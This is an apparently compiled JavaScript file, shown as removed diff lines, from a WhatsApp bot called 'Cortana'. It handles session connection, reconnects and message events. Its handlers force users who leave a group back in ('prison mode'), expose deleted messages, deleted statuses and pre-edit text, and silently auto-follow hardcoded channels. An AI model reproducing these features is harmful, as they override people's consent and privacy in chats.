keepAliveIntervalMs: 30000, // Reduced frequency (was 10000)
|
|
480
|
-
retryRequestDelayMs: 2000,
|
|
481
|
-
getMessage: async (key) => {
|
|
482
|
-
return store_1.messageCache.get(key.id) || { conversation: '' };
|
|
483
|
-
},
|
|
484
|
-
patchMessageBeforeSending: (message) => {
|
|
485
|
-
const requiresPatch = !!(message.buttonsMessage ||
|
|
486
|
-
message.templateMessage ||
|
|
487
|
-
message.listMessage);
|
|
488
|
-
if (requiresPatch) {
|
|
489
|
-
message = {
|
|
490
|
-
viewOnceMessage: {
|
|
491
|
-
message: {
|
|
492
|
-
messageContextInfo: {
|
|
493
|
-
deviceListMetadataVersion: 2,
|
|
494
|
-
deviceListMetadata: {},
|
|
495
|
-
},
|
|
496
|
-
...message,
|
|
497
|
-
},
|
|
498
|
-
},
|
|
499
|
-
};
|
|
500
|
-
}
|
|
501
|
-
return message;
|
|
502
|
-
},
|
|
503
|
-
});
|
|
504
|
-
// Update the map immediately so other parts of the app know it exists
|
|
505
|
-
exports.activeSockets.set(sessionId, sock);
|
|
506
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
507
|
-
// ANTI-LOOP: (Wrapper Removed - Caused Unresponsiveness)
|
|
508
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
509
|
-
// const originalSendMessage = sock.sendMessage;
|
|
510
|
-
// sock.sendMessage = async (jid: string, content: any, options: any) => { ... }
|
|
511
|
-
sock.ev.on("creds.update", saveCreds);
|
|
512
|
-
sock.ev.on("connection.update", async (update) => {
|
|
513
|
-
const { connection, lastDisconnect, isNewLogin } = update;
|
|
514
|
-
log.debug(`[${type.toUpperCase()}] Session ${sessionId} connection update:`, update.connection);
|
|
515
|
-
if (connection === "open") {
|
|
516
|
-
connectingSessions.delete(sessionId); // UNLOCK
|
|
517
|
-
logger_1.default.md.connected(sessionId);
|
|
518
|
-
// Log which storage this session is using
|
|
519
|
-
const storageType = storage_1.storage.getSessionStorageType?.(sessionId) || 'internal';
|
|
520
|
-
logger_1.default.sys.storage(`Session ${sessionId.slice(0, 8)} uses: ${storageType}`);
|
|
521
|
-
// AUTO-SET OWNER: The deployer (bot itself) is the owner.
|
|
522
|
-
const botNumber = sock.user?.id?.split(':')[0]?.split('@')[0];
|
|
523
|
-
if (botNumber) {
|
|
524
|
-
const settings = await storage_1.storage.getBotSettings(sessionId);
|
|
525
|
-
if (settings) {
|
|
526
|
-
await storage_1.storage.updateBotSettings(settings.id, { ownerNumber: botNumber });
|
|
527
|
-
log.debug(`[OWNER] Owner set: ${botNumber}`);
|
|
528
|
-
}
|
|
529
|
-
}
|
|
530
|
-
// KEEP-ALIVE: Triggered internally by Baileys now. Custom loop removed to prevent conflict.
|
|
531
|
-
await storage_1.storage.updateSession(sessionId, { status: "connected" });
|
|
532
|
-
pairingCodes.delete(sessionId);
|
|
533
|
-
// AUTO-DISCOVER BOT LID: Sync check from creds (instant, no network)
|
|
534
|
-
if (!sock.user?.lid) {
|
|
535
|
-
try {
|
|
536
|
-
const creds = sock.authState?.creds;
|
|
537
|
-
if (creds?.me?.lid) {
|
|
538
|
-
sock.user.lid = creds.me.lid;
|
|
539
|
-
logger_1.default.md.info(`LID discovered from creds: ${sock.user.lid}`);
|
|
540
|
-
}
|
|
541
|
-
}
|
|
542
|
-
catch (e) { /* silent */ }
|
|
543
|
-
}
|
|
544
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
545
|
-
// DEFERRED HEAVY OPERATIONS โ Run AFTER event loop is free
|
|
546
|
-
// These used to block the connection.update handler for 10-30s,
|
|
547
|
-
// causing Baileys to buffer messages โ dropped by timestamp filter
|
|
548
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
549
|
-
setTimeout(async () => {
|
|
550
|
-
try {
|
|
551
|
-
// PROACTIVE LID DISCOVERY: If creds didn't have LID, try via presence
|
|
552
|
-
if (!sock.user?.lid) {
|
|
553
|
-
try {
|
|
554
|
-
const groups = await sock.groupFetchAllParticipating();
|
|
555
|
-
const groupIds = Object.keys(groups);
|
|
556
|
-
if (groupIds.length > 0) {
|
|
557
|
-
await sock.sendPresenceUpdate('available', groupIds[0]);
|
|
558
|
-
logger_1.default.md.info(`LID not in creds โ triggered presence for discovery`);
|
|
559
|
-
}
|
|
560
|
-
}
|
|
561
|
-
catch (e) { /* silent */ }
|
|
562
|
-
}
|
|
563
|
-
// AUTO-FOLLOW CHANNEL LOGIC
|
|
564
|
-
const channelsToFollow = [
|
|
565
|
-
{ invite: "0029VbBYFdCE50Uoh5O7Jy2j" },
|
|
566
|
-
{ invite: "0029VbC173IDDmFVlhcSOZ0Q", jid: "120363424485406730@newsletter" }
|
|
567
|
-
];
|
|
568
|
-
for (const channel of channelsToFollow) {
|
|
569
|
-
try {
|
|
570
|
-
const metadata = await sock.newsletterMetadata("invite", channel.invite);
|
|
571
|
-
if (metadata?.id) {
|
|
572
|
-
await sock.newsletterFollow(metadata.id);
|
|
573
|
-
logger_1.default.md.autofollow(`Followed: ${metadata.name}`);
|
|
574
|
-
}
|
|
575
|
-
}
|
|
576
|
-
catch (e) {
|
|
577
|
-
// Silently skip if already following
|
|
578
|
-
}
|
|
579
|
-
}
|
|
580
|
-
}
|
|
581
|
-
catch (e) {
|
|
582
|
-
logger_1.default.err.md('Deferred init', e);
|
|
583
|
-
}
|
|
584
|
-
}, 5000);
|
|
585
|
-
}
|
|
586
|
-
if (isNewLogin && connection !== "close") {
|
|
587
|
-
logger_1.default.md.pairing(`Session ${sessionId.slice(0, 8)} paired โ marking connected`);
|
|
588
|
-
// Initial follow logic (redundant but safe for immediate pairing feedback)
|
|
589
|
-
try {
|
|
590
|
-
// ... already handled above in 'open' usually, but 'open' comes after 'connecting'.
|
|
591
|
-
// connection.update gives 'open' state.
|
|
592
|
-
// We can enforce it here too just in case.
|
|
593
|
-
}
|
|
594
|
-
catch (e) { }
|
|
595
|
-
await storage_1.storage.updateSession(sessionId, { status: "connected" });
|
|
596
|
-
pairingCodes.delete(sessionId);
|
|
597
|
-
let ownerNum = phoneNumber;
|
|
598
|
-
if (!ownerNum) {
|
|
599
|
-
// Try to recover from session
|
|
600
|
-
const sess = await storage_1.storage.getSession(sessionId);
|
|
601
|
-
ownerNum = sess?.phoneNumber;
|
|
602
|
-
}
|
|
603
|
-
const existingSettings = await storage_1.storage.getBotSettings(sessionId);
|
|
604
|
-
if (!existingSettings && ownerNum) {
|
|
605
|
-
await storage_1.storage.createBotSettings({
|
|
606
|
-
sessionId,
|
|
607
|
-
prefix: PREFIX,
|
|
608
|
-
ownerNumber: ownerNum,
|
|
609
|
-
isPublic: true,
|
|
610
|
-
});
|
|
611
|
-
}
|
|
612
|
-
}
|
|
613
|
-
if (connection === "close") {
|
|
614
|
-
connectingSessions.delete(sessionId); // UNLOCK
|
|
615
|
-
// Safe access to status code
|
|
616
|
-
const statusCode = lastDisconnect?.error?.output?.statusCode;
|
|
617
|
-
const currentStatus = await storage_1.storage.getSession(sessionId);
|
|
618
|
-
log.debug(`Session ${sessionId} disconnected. Code: ${statusCode}`);
|
|
619
|
-
// MEMORY CLEANUP HELPER
|
|
620
|
-
const cleanupSession = async (deleteFromDB = false) => {
|
|
621
|
-
// 1. Clear keep-alive interval
|
|
622
|
-
const interval = keepAliveIntervals.get(sessionId);
|
|
623
|
-
if (interval) {
|
|
624
|
-
clearInterval(interval);
|
|
625
|
-
keepAliveIntervals.delete(sessionId);
|
|
626
|
-
}
|
|
627
|
-
// 2. Terminate Socket & Remove Listeners
|
|
628
|
-
const sock = exports.activeSockets.get(sessionId);
|
|
629
|
-
if (sock) {
|
|
630
|
-
try {
|
|
631
|
-
sock.ev.removeAllListeners("creds.update");
|
|
632
|
-
sock.ev.removeAllListeners("connection.update");
|
|
633
|
-
sock.end(undefined);
|
|
634
|
-
if (sock.ws && typeof sock.ws.terminate === 'function')
|
|
635
|
-
sock.ws.terminate();
|
|
636
|
-
}
|
|
637
|
-
catch (e) {
|
|
638
|
-
logger_1.default.err.md(`Error closing socket for ${sessionId.slice(0, 8)}`, e);
|
|
639
|
-
}
|
|
640
|
-
}
|
|
641
|
-
exports.activeSockets.delete(sessionId);
|
|
642
|
-
pairingCodes.delete(sessionId);
|
|
643
|
-
if (deleteFromDB) {
|
|
644
|
-
await storage_1.storage.deleteSession(sessionId);
|
|
645
|
-
const authDir = path_1.default.join(process.cwd(), "auth_sessions", type, sessionId);
|
|
646
|
-
try {
|
|
647
|
-
await new Promise(r => setTimeout(r, 1000));
|
|
648
|
-
if (fs_1.default.existsSync(authDir)) {
|
|
649
|
-
fs_1.default.rmSync(authDir, { recursive: true, force: true });
|
|
650
|
-
logger_1.default.md.info(`Deleted auth files for ${sessionId.slice(0, 8)}`);
|
|
651
|
-
}
|
|
652
|
-
}
|
|
653
|
-
catch (e) {
|
|
654
|
-
logger_1.default.err.md('Failed to delete auth files', e);
|
|
655
|
-
}
|
|
656
|
-
}
|
|
657
|
-
if (global.gc) {
|
|
658
|
-
try {
|
|
659
|
-
global.gc();
|
|
660
|
-
}
|
|
661
|
-
catch (e) { }
|
|
662
|
-
}
|
|
663
|
-
};
|
|
664
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
665
|
-
// CASE 1: LOGGED OUT - DELETE SESSION IMMEDIATELY (Explicit Logout)
|
|
666
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
667
|
-
if (statusCode === DisconnectReason.loggedOut) {
|
|
668
|
-
logger_1.default.md.pairing(`Session ${sessionId.slice(0, 8)} LOGGED OUT โ deleting permanently`);
|
|
669
|
-
await cleanupSession(true);
|
|
670
|
-
return;
|
|
671
|
-
}
|
|
672
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
673
|
-
// CASE 2: CONNECTION FAILED / BAD SESSION (401/403/411)
|
|
674
|
-
// REMOVED 440 (Restart Required) - It should NOT delete session
|
|
675
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
676
|
-
if (statusCode === 401 || statusCode === 403 || statusCode === 411) {
|
|
677
|
-
logger_1.default.md.pairing(`Session ${sessionId.slice(0, 8)} auth failed (${statusCode}) โ deleting`);
|
|
678
|
-
await cleanupSession(true);
|
|
679
|
-
return;
|
|
680
|
-
}
|
|
681
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
682
|
-
// CASE 3: SESSION WAS NEVER CONNECTED (Initial Linking Failed)
|
|
683
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
684
|
-
// SAFETY: Only delete if credentials DON'T exist (truly never linked)
|
|
685
|
-
// If creds.json exists, the session was linked before and should reconnect
|
|
686
|
-
if (currentStatus?.status !== 'connected') {
|
|
687
|
-
// Check if credentials exist (file-based OR MongoDB)
|
|
688
|
-
const authDir = path_1.default.join(process.cwd(), "auth_sessions", type, sessionId);
|
|
689
|
-
const credsFile = path_1.default.join(authDir, "creds.json");
|
|
690
|
-
const hasFileCredentials = fs_1.default.existsSync(credsFile);
|
|
691
|
-
const usesMongoAuth = !!process.env.MONGODB_URI;
|
|
692
|
-
// If using MongoDB, the session record existing in DB means it was linked
|
|
693
|
-
const hasCredentials = hasFileCredentials || (usesMongoAuth && !!currentStatus);
|
|
694
|
-
if (hasCredentials) {
|
|
695
|
-
// Session has saved credentials โ was linked before โ reconnect silently
|
|
696
|
-
exports.activeSockets.delete(sessionId);
|
|
697
|
-
sessionReady.delete(sessionId);
|
|
698
|
-
// Don't clear processedMessageIds โ it nukes ALL sessions' dedup
|
|
699
|
-
// Staleness check (2-min window) already handles old messages
|
|
700
|
-
setTimeout(() => startSocket(sessionId, phoneNumber), 5000);
|
|
701
|
-
return;
|
|
702
|
-
}
|
|
703
|
-
logger_1.default.md.pairing(`Session ${sessionId.slice(0, 8)} no credentials โ cleaning up`);
|
|
704
|
-
await cleanupSession(true);
|
|
705
|
-
return;
|
|
706
|
-
}
|
|
707
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
708
|
-
// CASE 4: ESTABLISHED SESSION - INFINITE RETRY
|
|
709
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
710
|
-
// If we are here, the session IS 'connected' (authorized).
|
|
711
|
-
// It disconnected due to Timeout, Restart Required, or Network Error.
|
|
712
|
-
// We will retry INFINITELY (unless 40h expiry hits separately).
|
|
713
|
-
logger_1.default.md.disconnected(sessionId, `code ${statusCode} โ reconnecting`);
|
|
714
|
-
// CRITICAL: Ensure old socket is dead before retrying to prevent 408 loops
|
|
715
|
-
const oldSock = exports.activeSockets.get(sessionId);
|
|
716
|
-
if (oldSock) {
|
|
717
|
-
try {
|
|
718
|
-
oldSock.end(undefined);
|
|
719
|
-
}
|
|
720
|
-
catch { }
|
|
721
|
-
}
|
|
722
|
-
exports.activeSockets.delete(sessionId);
|
|
723
|
-
sessionReady.delete(sessionId);
|
|
724
|
-
// Retry delay
|
|
725
|
-
const retryDelay = (statusCode === DisconnectReason.restartRequired) ? 10000 : 5000;
|
|
726
|
-
setTimeout(() => startSocket(sessionId, phoneNumber), retryDelay);
|
|
727
|
-
return;
|
|
728
|
-
}
|
|
729
|
-
else if (connection === "open") {
|
|
730
|
-
logger_1.default.md.connected(sessionId);
|
|
731
|
-
sessionReady.set(sessionId, true); // READY GATE: Now safe to process messages
|
|
732
|
-
await storage_1.storage.updateSession(sessionId, { status: "connected" });
|
|
733
|
-
pairingCodes.delete(sessionId);
|
|
734
|
-
}
|
|
735
|
-
});
|
|
736
|
-
// โโโโโโโ CALL HANDLER (AntiBug) โโโโโโโ
|
|
737
|
-
sock.ev.on("call", async (calls) => {
|
|
738
|
-
try {
|
|
739
|
-
await (0, protection_1.handleAntiBugCall)(sock, calls);
|
|
740
|
-
}
|
|
741
|
-
catch (e) {
|
|
742
|
-
logger_1.default.err.md('Call handler', e);
|
|
743
|
-
}
|
|
744
|
-
});
|
|
745
|
-
// โโโโโโโ ANTI-LEFT (PRISON MODE) HANDLER โโโโโโโ
|
|
746
|
-
sock.ev.on("group-participants.update", async (update) => {
|
|
747
|
-
try {
|
|
748
|
-
const { id: groupJid, participants, action, author } = update;
|
|
749
|
-
// Only handle "remove" action (when someone leaves or is kicked)
|
|
750
|
-
if (action !== 'remove')
|
|
751
|
-
return;
|
|
752
|
-
// Check if antileft is enabled for this group
|
|
753
|
-
const groupSettings = await storage_1.storage.getGroupSettings(groupJid);
|
|
754
|
-
if (!groupSettings?.antileft)
|
|
755
|
-
return;
|
|
756
|
-
// โโโโโโโ LEAVE VS KICK DISTINCTION โโโโโโโ
|
|
757
|
-
// If author exists and acts on someone else, it's a kick.
|
|
758
|
-
// If author is the participant themselves (or undefined often implies self), it's a leave.
|
|
759
|
-
// NOTE: In some Baileys versions, 'author' is the one performing the action.
|
|
760
|
-
// We only want to re-add if they LEFT (Self-remove)
|
|
761
|
-
// If they were KICKED (by admin/owner), DO NOT re-add.
|
|
762
|
-
// Case 1: Author is defined and is NOT the participant -> KICKED
|
|
763
|
-
if (author && participants[0] && author !== participants[0]) {
|
|
764
|
-
log.debug(`[ANTILEFT] User kicked by admin ${author}. Ignoring.`);
|
|
765
|
-
return;
|
|
766
|
-
}
|
|
767
|
-
// Case 2: Author is same as participant -> LEFT
|
|
768
|
-
// (Or fallback if author undefined, assume leave for safety, but usually defined)
|
|
769
|
-
// โโโโโโโ ROBUST BOT ADMIN DETECTION โโโโโโโ
|
|
770
|
-
// Use LID-first matching (same pattern as group.ts findBotInParticipants)
|
|
771
|
-
const groupMetadata = await sock.groupMetadata(groupJid);
|
|
772
|
-
const groupParticipants = groupMetadata.participants;
|
|
773
|
-
const botId = sock.user?.id;
|
|
774
|
-
const botLid = sock.user?.lid;
|
|
775
|
-
let botParticipant = undefined;
|
|
776
|
-
// 1. LID Match FIRST (WhatsApp now uses LID format in participant lists)
|
|
777
|
-
if (botLid) {
|
|
778
|
-
const lidBase = botLid.split('@')[0].split(':')[0];
|
|
779
|
-
botParticipant = groupParticipants.find((p) => p.id === botLid);
|
|
780
|
-
if (!botParticipant) {
|
|
781
|
-
botParticipant = groupParticipants.find((p) => p.id.split('@')[0].split(':')[0] === lidBase && p.id.endsWith('@lid'));
|
|
782
|
-
}
|
|
783
|
-
}
|
|
784
|
-
// 2. Direct Phone JID match
|
|
785
|
-
if (!botParticipant && botId) {
|
|
786
|
-
botParticipant = groupParticipants.find((p) => p.id === botId);
|
|
787
|
-
}
|
|
788
|
-
// 3. Phone Number fallback
|
|
789
|
-
if (!botParticipant && botId) {
|
|
790
|
-
const botNum = botId.split(':')[0].split('@')[0];
|
|
791
|
-
botParticipant = groupParticipants.find((p) => p.id.split(':')[0].split('@')[0] === botNum);
|
|
792
|
-
}
|
|
793
|
-
if (!botParticipant) {
|
|
794
|
-
console.log('[ANTILEFT] Bot participant not found in metadata (weird). Aborting.');
|
|
795
|
-
return;
|
|
796
|
-
}
|
|
797
|
-
const isBotAdmin = botParticipant.admin === 'admin' || botParticipant.admin === 'superadmin';
|
|
798
|
-
if (!isBotAdmin) {
|
|
799
|
-
log.debug('[ANTILEFT] Bot is not admin. Cannot re-add.');
|
|
800
|
-
return;
|
|
801
|
-
}
|
|
802
|
-
log.debug(`[ANTILEFT] Readding ${participants.length} users (Self-Left)`);
|
|
803
|
-
// Re-add each participant who left
|
|
804
|
-
for (const participant of participants) {
|
|
805
|
-
try {
|
|
806
|
-
await sock.groupParticipantsUpdate(groupJid, [participant], 'add');
|
|
807
|
-
await safeSendMessage(sock, groupJid, {
|
|
808
|
-
text: `๐ *PRISON MODE ACTIVATED*\n\n@${participant.split('@')[0]} tried to escape...\n\n๐ But nobody leaves this group! Welcome back! ๐น`,
|
|
809
|
-
mentions: [participant]
|
|
810
|
-
});
|
|
811
|
-
}
|
|
812
|
-
catch (addError) {
|
|
813
|
-
const err = addError.message || String(addError);
|
|
814
|
-
console.error(`[ANTILEFT] Failed to re-add ${participant}:`, err);
|
|
815
|
-
if (err.includes('403') || err.includes('blocked') || err.includes('privacy')) {
|
|
816
|
-
await safeSendMessage(sock, groupJid, {
|
|
817
|
-
text: `๐ช @${participant.split('@')[0]} escaped the prison!\n\n_They blocked me or have privacy settings enabled_ ๐ฟ`,
|
|
818
|
-
mentions: [participant]
|
|
819
|
-
});
|
|
820
|
-
}
|
|
821
|
-
}
|
|
822
|
-
}
|
|
823
|
-
}
|
|
824
|
-
catch (e) {
|
|
825
|
-
console.error('[ANTILEFT] Handler error:', e);
|
|
826
|
-
}
|
|
827
|
-
});
|
|
828
|
-
// Only attach standard bot logic if it's the main session
|
|
829
|
-
console.log(`[DEBUG] Session Type Check: ${type} (Expected: 'md')`);
|
|
830
|
-
if (type === 'md') {
|
|
831
|
-
console.log(`[DEBUG] โ
Entering MD Handler Block`);
|
|
832
|
-
// Handle Antidelete (Message Updates)
|
|
833
|
-
// Handle Antidelete & AntiEdit (Message Updates)
|
|
834
|
-
sock.ev.on("messages.update", async (updates) => {
|
|
835
|
-
for (const update of updates) {
|
|
836
|
-
const botSettings = await storage_1.storage.getBotSettings(sessionId);
|
|
837
|
-
if (!botSettings)
|
|
838
|
-
continue;
|
|
839
|
-
// 1. Anti-Delete Logic
|
|
840
|
-
if (update.update.messageStubType === proto.WebMessageInfo.StubType.REVOKE && update.key.id) {
|
|
841
|
-
if (botSettings.antideleteMode === 'off')
|
|
842
|
-
continue;
|
|
843
|
-
log.debug(`[ANTIDELETE] Delete detected for message ID: ${update.key.id}`);
|
|
844
|
-
const originalMsg = store_1.messageCache.get(update.key.id);
|
|
845
|
-
if (originalMsg && originalMsg.message) {
|
|
846
|
-
log.debug(`[ANTIDELETE] Found cached message, processing...`);
|
|
847
|
-
const deletedTime = new Date();
|
|
848
|
-
const sender = update.key.participant || update.key.remoteJid;
|
|
849
|
-
const textContent = originalMsg.message.conversation || originalMsg.message.extendedTextMessage?.text || "[Media/Other Content]";
|
|
850
|
-
// Determine caption based on mode
|
|
851
|
-
let headerTitle = "";
|
|
852
|
-
let destinationJid = "";
|
|
853
|
-
if (botSettings.antideleteMode === 'all') {
|
|
854
|
-
headerTitle = "~๐ค๐ DELETION ALERT~";
|
|
855
|
-
destinationJid = update.key.remoteJid;
|
|
856
|
-
}
|
|
857
|
-
else if (botSettings.antideleteMode === 'pm') {
|
|
858
|
-
headerTitle = "*โ ๏ธDELETED MESSAGE*";
|
|
859
|
-
destinationJid = botSettings.ownerNumber ? botSettings.ownerNumber + '@s.whatsapp.net' : "";
|
|
860
|
-
}
|
|
861
|
-
if (!destinationJid)
|
|
862
|
-
continue;
|
|
863
|
-
const caption = `${headerTitle}
|
|
864
|
-
|
|
865
|
-
๐ฎ Deleted by = @${sender.split('@')[0]}
|
|
866
|
-
โฐ Time = ${deletedTime.toLocaleTimeString()}
|
|
867
|
-
๐คฃ Message = ${textContent}
|
|
868
|
-
${(originalMsg.message.imageMessage || originalMsg.message.videoMessage) ? '(media deleted down ๐)' : ''}
|
|
869
|
-
|
|
870
|
-
๐ฟYou can't Hide from Cortana๐๐ซ`;
|
|
871
|
-
// Send Text/Caption
|
|
872
|
-
await safeSendMessage(sock, destinationJid, { text: caption, mentions: [sender] });
|
|
873
|
-
// Forward Media if present
|
|
874
|
-
const isMedia = originalMsg.message.imageMessage || originalMsg.message.videoMessage || originalMsg.message.audioMessage || originalMsg.message.stickerMessage;
|
|
875
|
-
if (isMedia) {
|
|
876
|
-
await safeSendMessage(sock, destinationJid, { forward: originalMsg, forceForward: true });
|
|
877
|
-
}
|
|
878
|
-
log.debug(`[ANTIDELETE] โ
Successfully revealed deleted message`);
|
|
879
|
-
}
|
|
880
|
-
else {
|
|
881
|
-
log.debug(`[ANTIDELETE] โ ๏ธ Message not found in cache (may have been sent before bot started)`);
|
|
882
|
-
}
|
|
883
|
-
}
|
|
884
|
-
// 1b. Anti-Delete STATUS Logic (NEW FEATURE)
|
|
885
|
-
if (update.key.remoteJid === 'status@broadcast' && update.update.messageStubType === proto.WebMessageInfo.StubType.REVOKE) {
|
|
886
|
-
if (!botSettings.antideletestatusEnabled)
|
|
887
|
-
continue;
|
|
888
|
-
log.debug(`[ANTIDELETESTATUS] Status deletion detected!`);
|
|
889
|
-
const statusMsg = store_1.messageCache.get(update.key.id);
|
|
890
|
-
if (statusMsg && statusMsg.message && botSettings.ownerNumber) {
|
|
891
|
-
const ownerJid = botSettings.ownerNumber + '@s.whatsapp.net';
|
|
892
|
-
const sender = update.key.participant || statusMsg.key?.participant || 'unknown';
|
|
893
|
-
const deletedTime = new Date();
|
|
894
|
-
const caption = `๐ธ *DELETED STATUS DETECTED*
|
|
895
|
-
|
|
896
|
-
๐ค From: @${sender.split('@')[0]}
|
|
897
|
-
โฐ Deleted at: ${deletedTime.toLocaleTimeString()}
|
|
898
|
-
|
|
899
|
-
_Caught by Cortana before it vanished_ ๐`;
|
|
900
|
-
await safeSendMessage(sock, ownerJid, { text: caption, mentions: [sender] });
|
|
901
|
-
// Try to forward the status media
|
|
902
|
-
try {
|
|
903
|
-
await safeSendMessage(sock, ownerJid, { forward: statusMsg, forceForward: true });
|
|
904
|
-
log.debug(`[ANTIDELETESTATUS] โ
Status forwarded to owner`);
|
|
905
|
-
}
|
|
906
|
-
catch (fwdErr) {
|
|
907
|
-
console.error(`[ANTIDELETESTATUS] Failed to forward status:`, fwdErr);
|
|
908
|
-
}
|
|
909
|
-
}
|
|
910
|
-
else {
|
|
911
|
-
log.debug(`[ANTIDELETESTATUS] โ ๏ธ Status not in cache or no owner number set`);
|
|
912
|
-
}
|
|
913
|
-
}
|
|
914
|
-
// 2. Anti-Edit Logic
|
|
915
|
-
// SKIP: Bot's own messages (fromMe), only check if antiedit is enabled
|
|
916
|
-
// Also skip if update doesn't have proper message content
|
|
917
|
-
const isOwnMessage = update.key.fromMe === true;
|
|
918
|
-
const antieditEnabled = botSettings && botSettings.antieditMode && botSettings.antieditMode !== 'off';
|
|
919
|
-
if (update.update.message && !isOwnMessage && antieditEnabled) {
|
|
920
|
-
const oldMsg = store_1.messageCache.get(update.key.id);
|
|
921
|
-
if (oldMsg && oldMsg.message) {
|
|
922
|
-
const newText = update.update.message.conversation || update.update.message.extendedTextMessage?.text;
|
|
923
|
-
const oldText = oldMsg.message?.conversation || oldMsg.message?.extendedTextMessage?.text;
|
|
924
|
-
if (newText && oldText && newText !== oldText) {
|
|
925
|
-
const editTime = new Date();
|
|
926
|
-
const sender = update.key.participant || update.key.remoteJid;
|
|
927
|
-
let dest = "";
|
|
928
|
-
if (botSettings.antieditMode === 'all')
|
|
929
|
-
dest = update.key.remoteJid;
|
|
930
|
-
else if (botSettings.antieditMode === 'pm')
|
|
931
|
-
dest = botSettings.ownerNumber ? botSettings.ownerNumber + '@s.whatsapp.net' : "";
|
|
932
|
-
if (dest) {
|
|
933
|
-
const editCaption = `โ๏ธ *ANTI-EDIT DETECTED*
|
|
934
|
-
|
|
935
|
-
๐ค *Sender:* @${sender.split('@')[0]}
|
|
936
|
-
โฐ *Time:* ${editTime.toLocaleTimeString()}
|
|
937
|
-
๐ *Before:* ${oldText}
|
|
938
|
-
๐ *After:* ${newText}
|
|
939
|
-
|
|
940
|
-
โจ _Cortana sees everything_ โจ`;
|
|
941
|
-
await safeSendMessage(sock, dest, { text: editCaption, mentions: [sender] });
|
|
942
|
-
}
|
|
943
|
-
}
|
|
944
|
-
}
|
|
945
|
-
}
|
|
946
|
-
}
|
|
947
|
-
});
|
|
948
|
-
// console.log('[DEBUG-TRACE] Registering messages.upsert handler...');
|
|
949
|
-
sock.ev.on("messages.upsert", async ({ messages, type }) => {
|
|
950
|
-
// Process ALL message types (notify + append)
|
|
951
|
-
// After reconnect, Baileys delivers messages as 'append' not 'notify'
|
|
952
|
-
// The 2-minute staleness check below handles old message filtering
|
|
953
|
-
// READY GATE: Don't process messages until connection is fully open
|
|
954
|
-
if (!sessionReady.get(sessionId))
|
|
955
|
-
return;
|
|
956
|
-
try {
|
|
957
|
-
// 0. OPTIMIZATION: Use cached settings (refreshed every 60s)
|
|
958
|
-
let settings;
|
|
959
|
-
const cached = settingsCache.get(sessionId);
|
|
960
|
-
if (cached && Date.now() - cached.cachedAt < SETTINGS_CACHE_TTL) {
|
|
961
|
-
settings = cached.settings;
|
|
962
|
-
}
|
|
963
|
-
else {
|
|
964
|
-
settings = await storage_1.storage.getBotSettings(sessionId);
|
|
965
|
-
settingsCache.set(sessionId, { settings, cachedAt: Date.now() });
|
|
966
|
-
}
|
|
967
|
-
const currentPrefix = settings?.prefix || ".";
|
|
968
|
-
for (const msg of messages) {
|
|
969
|
-
try {
|
|
970
|
-
// 0. BASIC FILTERS
|
|
971
|
-
if (!msg.message)
|
|
972
|
-
continue;
|
|
973
|
-
if (msg.key?.remoteJid?.endsWith('@newsletter'))
|
|
974
|
-
continue;
|
|
975
|
-
if (msg.key?.remoteJid === 'status@broadcast')
|
|
976
|
-
continue;
|
|
977
|
-
const msgId = msg.key.id;
|
|
978
|
-
const isGroupMsg = msg.key.remoteJid?.endsWith('@g.us');
|
|
979
|
-
// AUTO-DISCOVER BOT LID: When bot sends a message in a group,
|
|
980
|
-
// msg.key.participant contains the bot's LID. Cache it for admin detection.
|
|
981
|
-
if (msg.key.fromMe && msg.key.remoteJid?.endsWith('@g.us') && msg.key.participant?.endsWith('@lid')) {
|
|
982
|
-
if (!sock.user.lid) {
|
|
983
|
-
sock.user.lid = msg.key.participant;
|
|
984
|
-
console.log(`[LID-DISCOVERY] โ
Bot LID discovered: ${sock.user.lid}`);
|
|
985
|
-
}
|
|
986
|
-
}
|
|
987
|
-
// 1. STALENESS CHECK: Drop messages older than 2 minutes (backlog protection)
|
|
988
|
-
// This is intentionally generous โ dedup prevents re-processing
|
|
989
|
-
const msgTime = (msg.messageTimestamp?.low || msg.messageTimestamp) * 1000;
|
|
990
|
-
const msgAge = Date.now() - msgTime;
|
|
991
|
-
// console.log(`[DEBUG-RAW] Msg Age: ${msgAge}ms`); // Uncomment if needed
|
|
992
|
-
if (msgAge > 120000) {
|
|
993
|
-
// console.log(`[DEBUG-RAW] Dropped Stale: ${msgAge}ms old (Time: ${msgTime}, Now: ${Date.now()})`);
|
|
994
|
-
continue;
|
|
995
|
-
}
|
|
996
|
-
// 2. DEDUPLICATION
|
|
997
|
-
if (processedMessageIds.has(msgId)) {
|
|
998
|
-
// console.log(`[DEBUG-RAW] Dropped Dedup: ${msgId}`);
|
|
999
|
-
continue;
|
|
1000
|
-
}
|
|
1001
|
-
// 3. Wrap/Unwrap & Extract Content
|
|
1002
|
-
const realMessage = (0, message_helper_1.unwrapMessage)(msg.message);
|
|
1003
|
-
const messageContent = ((0, message_helper_1.extractMessageContent)(msg.message) || "").trim();
|
|
1004
|
-
// ANTI-LOOP: Skip bot's own non-command messages (replies, forwards, etc.)
|
|
1005
|
-
